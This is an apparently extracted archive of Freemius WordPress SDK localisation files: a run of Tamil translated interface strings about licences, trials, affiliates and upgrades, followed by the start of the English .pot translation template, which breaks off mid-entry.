விதிமுறை மீறல் காரணமாக உங்கள் affiliate கணக்கை தற்காலிகமாக தடை செய்கிறோம். கேள்விகள் இருந்தால் உதவியை தொடர்பு கொள்ளவும்.மேம்படுத்தல் நடைபெறும்போதே இன்னும் %d தளங்களில் உரிமம் செயல்பாட்டில் இல்லை என்று அறிகிறோம்.மேம்படுத்தல் நடைபெறும்போதே Networkல்லுள்ள %s தளங்கள் உங்கள் கவனிப்பைக் கோருகின்றன என்றறிகிறோம்.மின்னஞ்சல்மின்னஞ்சல் முகவரிமுடிவு%sஐ எந்தெந்த தளங்களில் முன்னிலைப் படுத்துவீர்களோ அந்தத் தளங்களின் பெயர்களை உள்ளிடுங்கள்.தரம் உயர்த்துதலின் போது நீங்கள் உள்ளிட்ட மின்னஞ்சல் முகவரியைத் தந்தால், license keyஐ மீண்டும் அனுப்புகிறோம்.தவறுசெர்வரிடம் இருந்து தவறுச் செய்தி வந்திருக்கிறது.காலாவதியானது%sல் காலாவதியாகிறதுமேலதிக தளங்கள்தயாரிப்புகளை சந்தைப்படுத்தும் மேலதிக தளங்கள்.FileFilterWordpress.orgயின் வழிகாட்டு நெறிமுறைகள்படி, உங்கள் வெள்ளோட்டம் துவங்கும்முன் நாங்கள் கேட்டுக் கொள்வதெல்லாம், உங்கள் பயன்பாட்டுத் தகவலை நாங்கள் பின்தொடர எங்களை அனுமதிக்கும் தெரிவை தெரிவு செய்யுங்கள் என்பதே. இது %sஐ அனுமதித்து தகவலை %sக்கு அனுப்பச்செய்து மேம்படுத்தலுக்கு உதவும். மற்றும் உங்கள் வெள்ளோட்டத்தை உறுதிசெய்யும்.விலையில்லைவிலையில்லா வெள்ளோட்டம்விலையில்லா பதிப்புFreemius APIFreemius தவறுநீக்கி Debugப்ளக்இன் முக்கிய கோப்பை Freemius SDKவால் கண்டறிய முடியவில்லை. தயவுசெய்து பின்வரும் செய்தியுடன் sdk@freemius.comக்கு மின்னஞ்சல் அனுப்பவும்Freemius நிலைமுழுப்பெயர்Functionதானியங்கி சந்தா புதுப்பித்தலுக்கும் லாபப் பங்கீடு பெறுங்கள்.%sன் பீட்டா பதிப்பு மேம்படுத்தலைப் பெறுங்கள்.License key உள்ளதா?வணக்கம். %sன் முகவர் திட்டம் குறித்து உங்களுக்குத் தெரியுமா? %sஐ நீங்கள் விரும்பினால், நீங்களும் முகவராகி பணம் ஈட்டலாம்!%sஐ எந்தளவு விரும்புகிறீர்கள்? %d-நாள் விலையில்லா வெள்ளோட்டத்தில் %sன் விலையுள்ள வசதிகளை சோதித்துப் பாருங்கள்.பதிவேற்றுதல் மற்றும் செயல்படுத்துதல் எப்படி?எங்களை நீங்கள் எப்படி முன்னிலைப் படுத்துவீர்கள்?இதற்குமேல் பணம் செலுத்தமாட்டேன்இதை எப்படி உபயோகிப்பது என்று எனக்குப் புரியவில்லைஎன் தனிப்பட்ட தகவலை உங்களோடு பகிர விரும்பவில்லை.எனக்கு வேறு ஒரு நல்ல %s கிடைத்துவிட்டதுஎன் திட்டத்தை மேம்படுத்திய பின்னும், என் உரிமம் %s என்பதாகவே காட்டுகிறது.இனி எனக்கு %s தேவையில்லைகுறுகிய காலத்திற்கு மட்டும் %s போதும்ஐடிஇதை கிளிக் செய்தால், இந்த முடிவு தள நிர்வாகிகளுக்கு அனுப்பப்படும்.ஏன் நீங்கள் %s என்பதை எங்களுக்குத் தெரிவியுங்கள்உங்கள் %s கணக்கின் உரிமையை %sக்கு மாற்றிட விரும்பினால் உரிமை மாற்றம் பட்டனை அழுத்தவும்.அந்தத் தளங்களிலும் %sஐ உபயோகிக்க விரும்பினால், கீழே License Key உள்ளிட்டு செயல்படுத்தலை அழுத்தவும்.முக்கியமான மேம்படுத்தல் அறிவிப்பு%sல்ஒருவேளை %s இந்த தளத்திலோ அல்லது பிற தளத்திலோ உபயோகிக்கவில்லை என்றால் %sஐ ரத்து செய்ய விரும்புகிறீர்களா?விலையில்லா பதிப்பை நிறுவலாம்விலையில்லா பதிப்பின் மேம்படுத்தலை நிறுவலாம்நிறுவலாம்மேம்படுத்தலை நிறுவலாம்%s: பிளக்இன் நிறுவப்படுகிறதுmodule ID தவறானது.தவறான தள விவர சேர்ப்புஇன்வாய்ஸ்Is Activeஉங்கள் உரிமம் செயல்பாட்டுக்கு வரவில்லையென தோன்றுகிறது.உரிமத்தின் செயல்நிறுத்தம் தோல்வி அடைந்ததுபோல் தெரிகிறது.வெள்ளோட்டத்தில் நீங்கள் இல்லை என்பதால், அதை ரத்துசெய்யத் தேவையில்லை :)நீங்கள் இன்னும் %s திட்டத்திலேயே இருப்பதாகத் தெரிகிறது. நீங்கள் திட்டத்தை மாற்றிய பின்னர் இப்படி இருந்தால், அது எங்கள் தவறு. மன்னிக்கவும். உங்கள் தளத்திற்கு உரிமம் ஏதும் இல்லை என்பது போல் தெரிகிறது.சரிபார்க்கும் வகையினங்களில் ஏதோ ஒன்று தவறுபோல் தெரிகிறது. உங்கள் Public Key, Secret Key & User ID ஆகியவற்றை சரிபார்த்து மீண்டும் முயற்சிக்கவும்.நான் எதிர்பார்த்தது இதுவல்ல.பீட்டா பதிப்பு சோதனையில் சேரவும்%sன் ஆட்-ஆன் தகவலை வெளியிலுள்ள சர்வர் மூலம் எடுக்கிறோம் என்பதை அறியவும்.Keyஎன்ன வேலை செய்யவில்லை என்பதை விளக்கமாக சொன்னால், அதை நாங்கள் சரி செய்வோம்.காரணம் எதுவென்று சொன்னால் எங்களை மேம்படுத்திக் கொள்வோம்.கடைசிகடைசி மேம்படுத்தல்கடைசி உரிமம்சமீபத்திய விலையில்லா பதிப்பு நிறுவப்பட்டதுசமீபத்திய பதிப்பு நிறுவப்பட்டதுமேலும் அறியநீளம்உரிமம்உரிம ஒப்பந்தம்License KeyLicense keyLicense key காலியாக உள்ளது.வாழ்நாள்%sஐ விரும்புகிறீர்களா? எங்கள் Ambassador ஆக பணியாற்றி பணம் பெறலாம் :-)Load DB OptionLocalhostLogLoggerசெய்திவழிமுறைMigrate Options to Networkஅலைபேசி செயலிகள்ModuleModule PathModule மாதிரி%s குறித்த மேலதிக தகவல்பெயர்Network BlogNetwork பயனர்புதியதுபுதிய பதிப்பு கிடைக்கிறதுபுதிய விலையில்லா பதிப்பு (%s) நிறுவப்பட்டதுபுதிய பதிப்பு (%s) நிறுவப்பட்டதுசெய்திக்கடிதம்அடுத்துஇல்லைஐடி இல்லை%sக்கு எந்தக் கடப்பாடும் இல்லை - எப்போதும் ரத்து செய்யலாம்!%s நாட்களுக்கு எந்தக் கடப்பாடும் இல்லை - எப்போதும் ரத்து செய்யலாம்!கடன் அட்டை தேவையில்லைகாலாவதியாகாதுகாலாவதியாகாதது%sன் எந்தத் திட்டங்களிலும் வெள்ளோட்டம் இல்லை.O.Kஉங்கள் உரிமம் முடிந்ததும் நீங்கள் அனைத்து விலையில்லா வசதிகளையும் பயன்படுத்திக் கொள்ள முடியும். ஆனால் %s வசதிகளை அணுக இயலாது.மீண்டும் உரிமத்தை செயல்படுத்தினால் தவிர, உரிமம் காலாவதியானால் %s பயன்படுத்த முடியாது.தெரிவு செய்தெரிவை அகற்று"%s"ஐ சிறப்பானதாக்க தேர்வு செய்யுங்கள்மற்றவைஉரிமையாளர் மின்னஞ்சல்உரிமையாளர் IDஉரிமையாளர் பெயர்PCI compliantவிலையுள்ள ஆட்ஆன் Freemiusல் வரிசைப்படுத்தப் பட்டிருக்க வேண்டும்.PayPal கணக்கின் மின்னஞ்சல் முகவரிபணம் செலுத்தல்கள்பணம் பெறுதல் USDயில் மாதாமாதம் PayPal மூலம் பெறலாம்.திட்டம்%s திட்டம் இல்லை. வெள்ளோட்டம் துவங்க இயலாது.%s திட்டத்திற்கு வெள்ளோட்டம் கிடையாது.திட்ட IDஎங்களை இங்கு அணுகலாம்பின்வரும் செய்தியோடு எங்களைத் தொடர்பு கொள்ளுங்கள்%sஐ பதிவிறக்கலாம்.உங்கள் மின்னஞ்சலுக்கு வந்த License Keyஐ உள்ளிடுங்கள்:இணைய தள அல்லது சமூக ஊடக வருகையாளர் எண்ணிக்கை, மின்னஞ்சல் சந்தாதாரர்கள், பின்தொடர்வோர் போன்ற புள்ளிவிவரங்கள் தருக. (நாங்கள் ரகசியம் காப்போம்)மேம்படுத்தலை முடித்துவைக்க பின்வரும் வழிமுறையைப் பின்பற்றவும்பாதுகாப்பு & மேம்படுத்தல், விளக்கவுரை மற்றும் தள்ளுபடி விவரங்களை உங்களுக்கு நாங்கள் அனுப்ப விரும்பினால் எங்களைத் தொடர்பு கொள்ளுங்கள்.தயவுசெய்து கவனிக்கவும். ரத்துசெய்த பிறகு மீண்டும் புதிய சந்தா/புதுப்பித்தலுக்கு பழைய விலையை எங்களால் வசூலிக்க முடியாது. விலை ஆண்டுக்கொரு முறை உயரும். நீங்கள் இனி புதுப்பிக்க விரும்பினால் புதிய விலையை செலுத்தவேண்டும்.%sஐ எப்படி முன்னிலைப் படுத்துவீர்கள் என்ற விவரம் தரவும். (தயவுசெய்து குறிப்பிட்டுச் சொல்லவும்)உங்கள் முழுப் பெயரைத் தரவும்.ப்ளக்இன்பிளக்இன் முகப்புப்பக்கம்பிளக்இன் IDபிளக்இன் நிறுவுதல்Changelogவிளக்கம்FAQவசதிகள் & விலைநிறுவுதல்பிற குறிப்புகள்கருத்துரைகள்விலையுள்ள நிரல் இல்லாததால் பிளக்இன் "Serviceware" எனப்படும்.பிளக்இன்கள்பிளக்இன் & தீம் SyncPremium%s விலையுள்ள பதிப்பு வெற்றிகரமாக செயல்பாட்டுக்கு வந்தது.விலையுள்ள ஆட்-ஆன் பதிப்பு ஏற்கனவே நிறுவப்பட்டுள்ளது.விலையுள்ள பதிப்புவிலையுள்ள பதிப்பு ஏற்கனவே செயலில் உள்ளது.விலை விவரம்தனியுரிமைக் கொள்கைகள்தொடர்கProcess IDசெயலில்தயாரிப்புகள்திட்டத்தின் சுருக்கம்முன்னிலைப்படுத்தும் வழிமுறைகள்மாநிலப் பரப்புPublic Keyஉரிமம் வாங்குங்கள்மேலும் வாங்குகஉடனடி பின்னூட்டம்ஒதுக்கீடுசெயல்படுத்தும் மின்னஞ்சலை மீண்டும் அனுப்புகஎங்கள் %sக்கு புதிய வாடிக்கையாளர்களை பரிந்துரை செய்து, ஒவ்வொரு விற்பனைக்கும் %s லாபப் பங்கீடாகப் பெறலாம்.உரிமத்தை புதுப்பியுங்கள்உரிமத்தை புதுப்பியுங்கள்வேண்டுகோள்கள்WordPress பதிப்பை வேண்டுகிறதுமுடிவுSDKSDK Path%s சேமிக்கலாம்பட்டியலிட்ட Cronsதிரை நகல்கள்முகவரி மூலம் தேடSecret Keyபாதுகாப்பான HTTPS %s பக்கம், வெளி முகவரியிலிருந்து இயங்குகிறதுஉங்கள் சந்தா ரத்து செய்வதில் ஒரு தொழில்நுட்பக் கோளாறு. மீண்டும் முயற்சிக்கவும்.94%match உங்கள் வெள்ளோட்டம் ரத்து செய்வதில் ஒரு தொழில்நுட்பக் கோளாறு. மீண்டும் முயற்சிக்கவும்புதிய பதிப்பு உங்களுக்குக் கிடைத்துவிட்டது போல் தெரிகிறது.நாட்டைத் தேர்ந்தெடுக்கLicense key அனுப்புகSet DB OptionSimulate Network UpgradeSimulate Trial Promotionஒரு தள உரிமம்இணையதள ஐடிதளம் தெரிவு செய்யப்பட்டது.தளங்கள்கடந்திடு & %sSlugசமூக ஊடகங்கள் (Facebook, Twitter etc.)தவறுக்கு வருந்துகிறோம். எங்களுக்கு ஒரு வாய்ப்புத் தந்தால் உங்களுக்கு உதவக் காத்திருக்கிறோம்.மன்னிக்கவும்... இன்னொரு பயனாளர் இதே மின்னஞ்சல் முகவரியுடன் ஏற்கனவே பதிவு செய்திருக்கிறார்.துவக்கம்வெள்ளோட்டம் துவக்குஎன் விலையில்லா %sஐ துவக்கவும்மாநிலம்சமர்ப்பி & %sசந்தாஉதவிஉதவி மையம்Sync Data From ServerTax / VAT IDசேவை நிபந்தனைகள்எங்கள் affiliate திட்டத்திற்கு விண்ணப்பித்ததற்காக நன்றி. எதிர்பாரா விதமாக உங்கள் விண்ணப்பம் தள்ளுபடி செய்யப்பட்டது. 30 நாட்களில் மீண்டும் விண்ணப்பிக்கவும்.எங்கள் affiliate திட்டத்திற்கு விண்ணப்பித்ததற்காக நன்றி. உங்கள் விவரங்களை பரிசீலித்து, 14 நாட்களில் மேலதிக தகவலோடு தொடர்பு கொள்கிறோம்.%s மற்றும் அதன் ஆட்-ஆன் பயன்படுத்துவதற்கு நன்றி!%s பயன்படுத்துவதற்கு நன்றி!எங்கள் உருவாக்கங்களைப் பயன்படுத்துவதற்கு நன்றி!நன்றி!நன்றி %s!உரிமை மாற்றத்தை உறுதிப்படுத்தியதற்கு நன்றி. இறுதி ஒப்புதலுக்காக %sக்கு இப்போது ஒரு மின்னஞ்சல் அனுப்பப்பட்டுள்ளது.%s எனது இணையதளத்தை செயலிழக்க வைத்துவிட்டது%s வேலை செய்யவில்லை%s நான் எதிர்பார்த்தது போல் இல்லை%s நல்லதுதான். ஆனால், எனக்கு தேவைப்படும் வசதி இதில் இல்லை%s சரிவர வேலை செய்யவில்லை%s திடீரென நின்றுவிட்டதுநிறுவப்படுகிறது. சில நிமிடங்கள் காத்திருக்கவும். இந்தப் பக்கத்தை Refresh செய்யவேண்டாம்.பெயர் மாற்றமுடியாது. Slug உடனான folder, பிளக்இன் பேக்கில் இல்லை.%sன் மேம்படுத்தல் முடிந்ததுதீம்தீம் மாற்றம்தீம்கள்%sன் %s கிடைக்கிறது.%sன் புதிய பதிப்பு இப்போது கிடைக்கிறது.இந்த பிளக்இன் உங்கள் WordPress பதிப்புடன் ஒத்திசைவானது என்று குறிக்கப்படவில்லை.இந்த பிளக்இன் உங்கள் தற்போதைய WordPress பதிப்புடன் சோதிக்கப்படவில்லை.நேர முத்திரைதலைப்புமொத்தம்நகர்வெள்ளோட்டம்மாதிரிFilesystem அணுக இயலவில்லை. உங்கள் உள்ளீடு சரியா என சோதிக்கவும்.பல்தள உரிமம்அளவில்லா மேம்படுத்தல்கள்அளவில்லா லாபப் பங்கீடு.%s தளங்கள் வரைமேம்படுத்துஉரிமம் மேம்படுத்தமேம்படுத்தல், அறிவிப்புகள், வணிக செய்திகள். Spam இல்லைமேம்படுத்துபதிவிறக்கிய பதிப்பை பதிவேற்றி செயல்படுத்தலாம்W00tஉபயோகிப்பாளர் ஐடிபயனர்கள்Valueஉறுதிப்படுத்தும் மின்னஞ்சல் %sக்கு அனுப்பப்பட்டுள்ளது. பார்க்கவும். 5 நிமிடத்தில் மின்னஞ்சல் வரவில்லை என்றால் Spamல் பார்க்கவும்.உறுதிசெய்யப்பட்டதுமின்னஞ்சல் சரிபார்த்திடுங்கள்%s பதிப்பு வெளியாகிவிட்டது.விபரங்களைப் பாருங்கள்விலையுள்ள வசதிகள் என்னவென்று காணுங்கள்எச்சரிக்கைஇந்த மின்னஞ்சலின் பதிவில் எந்த உரிமமும் இல்லை. தங்கள் மின்னஞ்சல் சரியானதா?உங்கள் மின்னஞ்சல் முகவரியைக் காணவில்லை. நீங்கள் அளித்தது சரியானதா?. %s, %sக்கு சில சுவாரஸ்யங்களை உருவாக்கியிருக்கிறோம்Freemius network-level integrationஐ அறிமுகம் செய்வதில் பேருவகை அடைகிறோம்.இணையதளம், மின்னஞ்சல் மற்றும் சமூக ஊடக புள்ளி விவரங்கள் (விரும்பினால் தரலாம்)நீங்கள் என்ன எதிர்பார்த்தீர்கள்?என்ன வசதி?உங்கள் %s என்ன?என்ன விலை உங்களுக்கு வசதியாக இருக்கும்?நீங்கள் என்ன எதிர்பார்க்கிறீர்கள்?%sன் பெயர் என்ன?%sஐ எங்கு எப்படி முன்னிலைப் படுத்துவீர்கள்?WordPress.org பிளக்இன் பக்கம்மேம்படுத்தப்பட்ட பதிப்பில் தொடர விரும்புகிறீர்களா?ஆம்ஆம் - %sநீங்கள் ஏற்கனவே வெள்ளோட்டம் பார்த்துவிட்டீர்களே.%2$s திட்டத்தின் %1$s-நாள் விலையில்லா வெள்ளோட்டத்தைத் துவக்க இன்னும் 1 கிளிக் மட்டுமே.நல்லது... மகிழ்ச்சிநீங்கள் %sஐ வெள்ளோட்ட நிலையில் உபயோகித்துக் கொண்டிருக்கிறீர்கள்.இன்னும் ஒருபடி அருகில் - %sநீங்கள் %sன் வசதிகளை பயன்படுத்த முடியும். ஆனால் %s பாதுகாப்பு & மேம்படுத்தல் மற்றும் உதவியை அணுக இயலாது.விலையுள்ள பதிப்பை அணுக உங்களிடம் உரிமம் இல்லை.உங்களிடம் %sன் உரிமம் உள்ளதுஉங்கள் %s மேம்படுத்தப்பட்டது.விட்டுவிட்டீர்கள், ஆனாலும் நீங்கள் எந்த தகவலையும் பகிர வேண்டியதில்லை %sதெரிந்தெடுப்பு மட்டுமேஉங்கள் பயன்பாட்டைப் பின்தொடர எங்களுக்கு நீங்கள் அளித்த அனுமதியானது, %sஐ மேம்படுத்த உதவும்.உங்கள் பயன்பாட்டைப் பின்தொடர எங்களுக்கு நீங்கள் அளித்த அனுமதியானது, எங்கள் உருவாக்கத்தை மேம்படுத்த உதவும்.உங்கள் %s ஆட்-ஆன் திட்டம் மேம்படுத்தப்பட்டது.உங்கள் %s விலையில்லா வெள்ளோட்டம் ரத்து செய்யப்பட்டது.%s திட்டத்தில் உங்கள் கணக்கின் செயல்பாடு துவங்கியது.%sக்கான உங்கள் Affiliate விண்ணப்பம் ஏற்கப்பட்டது. உள்நுழைந்து %sல் உங்கள் affiliate areaவை அணுகவும்.உங்கள் affiliate கணக்கு தற்காலிகமாக இடைநிறுத்தப்பட்டுள்ளது.உங்கள் மின்னஞ்சல் சரிபார்க்கப்பட்டது - நன்றி!உங்கள் விலையில்லா வெள்ளோட்டம் முடிந்தது. %3$sஐ தொடர்ந்து பயன்படுத்த %1$s %2$sஇவற்றை மேம்படுத்துங்கள்.உங்கள் வெள்ளோட்டம் முடிந்தது. ஆனாலும் பிற விலையில்லா சேவைகளைத் தொடரலாம்.உங்கள் உரிமம் ரத்தானது. இதில் தவறேதும் உணர்ந்தால் உடனடியாக எங்கள் உதவியை அணுகவும்.உங்கள் உரிமம் முடிந்தது. %3$sஐ தொடர்ந்து பயன்படுத்த %1$s %2$s இவற்றை மேம்படுத்துங்கள்.உங்கள் உரிமம் முடிந்தது. எனினும் நீங்கள் %sன் வசதிகளைத் தொடரலாம். எனினும், தொடர் மேம்படுத்தல் மற்றும் உதவிக்கு உங்கள் உரிமத்தைப் புதுப்பிக்கவும்.உங்கள் உரிமம் முடிந்தது. ஆனாலும் %sன் விலையில்லாப் பதிப்பை என்றும் தொடரலாம். உங்கள் உரிமம் செயல்படுத்தப்பட்டது.உங்கள் உரிமம் செயல்நிறுத்தப்பட்டது, %s திட்டத்திற்கு மாற்றப்பட்டுள்ளீர்கள்.உங்கள் பெயர் ஏற்றப்பட்டது.உங்கள் தேர்ந்தெடுத்த திட்டம் துவங்கியது.உங்கள் தேர்ந்தெடுத்த திட்டம் %sக்கு மாறியது.உங்கள் தேர்ந்தெடுத்த திட்டம் மேம்படுத்தப்பட்டது.உங்கள் சந்தா ரத்து செய்யப்பட்டது. உங்கள் %s திட்டம் %s அன்று காலாவதியாகிறது.உங்கள் வெள்ளோட்டம் துவங்கியதுZIP / தபால் குறியீடுRight onசெயல்பாட்டில்%s இல்லாமல் %s இயங்காதுப்ளக்இன் இல்லாமல் %s இயங்காதுHeads upஅனுமதி%s இருக்கிறதுசெயல்படுத்துகிறதுவருடம்APIபோய்த் தொலைதவறை சோதிக்கிறதுவாழ்த்துக்கள்தடுக்கப்பட்டதுஇணைக்கப்பட்டதுஅண்மைய பதிப்பை பதிவிறக்கஅண்மைய விலையில்லா பதிப்பை பதிவிறக்கமாதாமாதம்காலாவதிவழிமின்னஞ்சல் அனுப்பப்படுகிறதுமாதம்ஆண்டுஆண்டுக்காண்டுஒருமுறைதிட்டம்No SecretSDK பதிப்புகள்உரிமம்SyncSync Licenseஉருவாக்கியவர்OffOn%s அடிப்படையிலானதுவிலையில்லா வெள்ளோட்டம் தொடங்கட்டும்... டும்போய்த் தொலைபோய்த் தொலைசெயல்நிறுத்தப்படுகிறதுdelegateபாதுகாப்பு & மேம்படுத்தல், விளக்கவுரை மற்றும் தள்ளுபடி விவரங்களை எனக்கு அனுப்பவும். %s செய்க, %s தேவையில்லை%s திட்டம்%s பில் எழுதப்பட்டதுசிறப்புHeyஅரே ஓ சம்போ!வணக்கம் %s,நிறுவப்பட்டதுYee-hawஉரிமம்தளங்கள்msபுதிய பீட்டா பதிப்புபுதிய பதிப்புஉறுதிப்படுத்தப்படவில்லைவிலைவிலை விவரம்பதிப்புsecபாதுகாப்பு & மேம்படுத்தல், விளக்கவுரை மற்றும் தள்ளுபடி விவரங்களை எனக்கு அனுப்பவும்.கடந்திடுHmmவெள்ளோட்டம் துவங்கலாம்சந்தாswitching%sன் அண்மைய பதிப்பு இதோவெள்ளோட்டம்வெள்ளோட்டம்அழிதரமிறக்குதிருத்துமறைத்திடுதெரிவு செய்தெரிவை அகற்றுவாங்குககாட்டுகடந்திடுமேம்படுத்துமேம்படுத்து%s முன்புvendor/freemius/languages/freemius.pot000064400000232004147600365160014202 0ustar00# Copyright (C) 2023 freemius # This file is distributed under the same license as the freemius package. msgid "" msgstr "" "Project-Id-Version: freemius\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Language-Team: Freemius Team \n" "Last-Translator: Vova Feldman \n" "Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues\n" "X-Poedit-Basepath: ..\n" "X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c\n" "X-Poedit-SearchPath-0: .\n" "X-Poedit-SearchPathExcluded-0: *.js\n" "X-Poedit-SourceCharset: UTF-8\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #: includes/class-freemius.php:1748, templates/account.php:947 msgid "An update to a Beta version will replace your installed version of %s with the latest Beta release - use with caution, and not on production sites. You have been warned." msgstr "" #: includes/class-freemius.php:1755 msgid "Would you like to proceed with the update?" msgstr "" #: includes/class-freemius.php:1980 msgid "Freemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error." msgstr "" #: includes/class-freemius.php:1982, includes/fs-plugin-info-dialog.php:1517 msgid "Error" msgstr "" #: includes/class-freemius.php:2428 msgid "I found a better %s" msgstr "" #: includes/class-freemius.php:2430 msgid "What's the %s's name?" msgstr "" #: includes/class-freemius.php:2436 msgid "It's a temporary %s - I'm troubleshooting an issue" msgstr "" #: includes/class-freemius.php:2438 msgid "Deactivation" msgstr "" #: includes/class-freemius.php:2439 msgid "Theme Switch" msgstr "" #: includes/class-freemius.php:2448, templates/forms/resend-key.php:24, templates/forms/user-change.php:29 msgid "Other" msgstr "" #: includes/class-freemius.php:2456 msgid "I no longer need the %s" msgstr "" #: includes/class-freemius.php:2463 msgid "I only needed the %s for a short period" msgstr "" #: includes/class-freemius.php:2469 msgid "The %s broke my site" msgstr "" #: includes/class-freemius.php:2476 msgid "The %s suddenly stopped working" msgstr "" #: includes/class-freemius.php:2486 msgid "I can't pay for it anymore" msgstr "" #: includes/class-freemius.php:2488 msgid "What price would you feel comfortable paying?" msgstr "" #: includes/class-freemius.php:2494 msgid "I don't like to share my information with you" msgstr "" #: includes/class-freemius.php:2515 msgid "The %s didn't work" msgstr "" #: includes/class-freemius.php:2525 msgid "I couldn't understand how to make it work" msgstr "" #: includes/class-freemius.php:2533 msgid "The %s is great, but I need specific feature that you don't support" msgstr "" #: includes/class-freemius.php:2535 msgid "What feature?" msgstr "" #: includes/class-freemius.php:2539 msgid "The %s is not working" msgstr "" #: includes/class-freemius.php:2541 msgid "Kindly share what didn't work so we can fix it for future users..." msgstr "" #: includes/class-freemius.php:2545 msgid "It's not what I was looking for" msgstr "" #: includes/class-freemius.php:2547 msgid "What you've been looking for?" msgstr "" #: includes/class-freemius.php:2551 msgid "The %s didn't work as expected" msgstr "" #: includes/class-freemius.php:2553 msgid "What did you expect?" msgstr "" #: includes/class-freemius.php:3641, templates/debug.php:24 msgid "Freemius Debug" msgstr "" #: includes/class-freemius.php:4755 msgid "You have purchased a %s license." msgstr "" #: includes/class-freemius.php:4759 msgid " The %s's %sdownload link%s, license key, and installation instructions have been sent to %s. If you can't find the email after 5 min, please check your spam box." msgstr "" #: includes/class-freemius.php:4769, includes/class-freemius.php:21125, includes/class-freemius.php:24783 msgctxt "interjection expressing joy or exuberance" msgid "Yee-haw" msgstr "" #: includes/class-freemius.php:4783 msgctxt "addonX cannot run without pluginY" msgid "%s cannot run without %s." msgstr "" #: includes/class-freemius.php:4784 msgctxt "addonX cannot run..." msgid "%s cannot run without the plugin." msgstr "" #: includes/class-freemius.php:4786, includes/class-freemius.php:5978, includes/class-freemius.php:13730, includes/class-freemius.php:14469, includes/class-freemius.php:18281, includes/class-freemius.php:18394, includes/class-freemius.php:18571, includes/class-freemius.php:20856, includes/class-freemius.php:21955, includes/class-freemius.php:22971, includes/class-freemius.php:23101, includes/class-freemius.php:23231, templates/add-ons.php:57 msgctxt "exclamation" msgid "Oops" msgstr "" #: includes/class-freemius.php:5065 msgid "There was an unexpected API error while processing your request. Please try again in a few minutes and if it still doesn't work, contact the %s's author with the following:" msgstr "" #: includes/class-freemius.php:5645 msgid "Premium %s version was successfully activated." msgstr "" #: includes/class-freemius.php:5657, includes/class-freemius.php:7692 msgctxt "Used to express elation, enthusiasm, or triumph (especially in electronic communication)." msgid "W00t" msgstr "" #: includes/class-freemius.php:5672 msgid "You have a %s license." msgstr "" #: includes/class-freemius.php:5961 msgid "%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license." msgstr "" #: includes/class-freemius.php:5965 msgid "%s is a premium only add-on. You have to purchase a license first before activating the plugin." msgstr "" #: includes/class-freemius.php:5974, templates/add-ons.php:186, templates/account/partials/addon.php:386 msgid "More information about %s" msgstr "" #: includes/class-freemius.php:5975 msgid "Purchase License" msgstr "" #. translators: %3$s: action (e.g.: "start the trial" or "complete the opt-in") #: includes/class-freemius.php:6971 msgid "You should receive a confirmation email for %1$s to your mailbox at %2$s. Please make sure you click the button in that email to %3$s." msgstr "" #: includes/class-freemius.php:6974 msgid "start the trial" msgstr "" #: includes/class-freemius.php:6975, templates/connect.php:218 msgid "complete the opt-in" msgstr "" #: includes/class-freemius.php:6977 msgid "Thanks!" msgstr "" #. translators: %3$s: What the user is expected to receive via email (e.g.: "the installation instructions" or "a license key") #: includes/class-freemius.php:6980 msgid "You should receive %3$s for %1$s to your mailbox at %2$s in the next 5 minutes." msgstr "" #: includes/class-freemius.php:6983 msgctxt "Part of the message telling the user what they should receive via email." msgid "the installation instructions" msgstr "" #: includes/class-freemius.php:6989 msgctxt "Part of the message telling the user what they should receive via email." msgid "a license key" msgstr "" #: includes/class-freemius.php:6997 msgid "%s to activate the license once you get it." msgstr "" #: includes/class-freemius.php:7005 msgctxt "Part of an activation link message." msgid "Click here" msgstr "" #: includes/class-freemius.php:7012 msgctxt "Part of the message that tells the user to check their spam folder for a specific email." msgid "the product's support email address" msgstr "" #: includes/class-freemius.php:7018 msgid "If you didn't get the email, try checking your spam folder or search for emails from %4$s." msgstr "" #: includes/class-freemius.php:7020 msgid "Thanks for upgrading." msgstr "" #: includes/class-freemius.php:7156 msgid "You are just one step away - %s" msgstr "" #: includes/class-freemius.php:7159 msgctxt "%s - plugin name. As complete \"PluginX\" activation now" msgid "Complete \"%s\" Activation Now" msgstr "" #: includes/class-freemius.php:7241 msgid "We made a few tweaks to the %s, %s" msgstr "" #: includes/class-freemius.php:7245 msgid "Opt in to make \"%s\" better!" msgstr "" #: includes/class-freemius.php:7691 msgid "The upgrade of %s was successfully completed." msgstr "" #: includes/class-freemius.php:10441, includes/class-fs-plugin-updater.php:1100, includes/class-fs-plugin-updater.php:1315, includes/class-fs-plugin-updater.php:1322, templates/auto-installation.php:32 msgid "Add-On" msgstr "" #: includes/class-freemius.php:10443, templates/account.php:411, templates/account.php:419, templates/debug.php:399, templates/debug.php:619 msgid "Plugin" msgstr "" #: includes/class-freemius.php:10444, templates/account.php:412, templates/account.php:420, templates/debug.php:399, templates/debug.php:619, templates/forms/deactivation/form.php:107 msgid "Theme" msgstr "" #: includes/class-freemius.php:13549 msgid "An unknown error has occurred while trying to toggle the license's white-label mode." msgstr "" #: includes/class-freemius.php:13563 msgid "Your %s license was flagged as white-labeled to hide sensitive information from the WP Admin (e.g. your email, license key, prices, billing address & invoices). If you ever wish to revert it back, you can easily do it through your %s. If this was a mistake you can also %s." msgstr "" #: includes/class-freemius.php:13568, templates/account/partials/disconnect-button.php:84 msgid "User Dashboard" msgstr "" #: includes/class-freemius.php:13569 msgid "revert it now" msgstr "" #: includes/class-freemius.php:13627 msgid "An unknown error has occurred while trying to set the user's beta mode." msgstr "" #: includes/class-freemius.php:13701 msgid "Invalid new user ID or email address." msgstr "" #: includes/class-freemius.php:13731 msgid "Sorry, we could not complete the email update. Another user with the same email is already registered." msgstr "" #: includes/class-freemius.php:13732 msgid "If you would like to give up the ownership of the %s's account to %s click the Change Ownership button." msgstr "" #: includes/class-freemius.php:13739 msgid "Change Ownership" msgstr 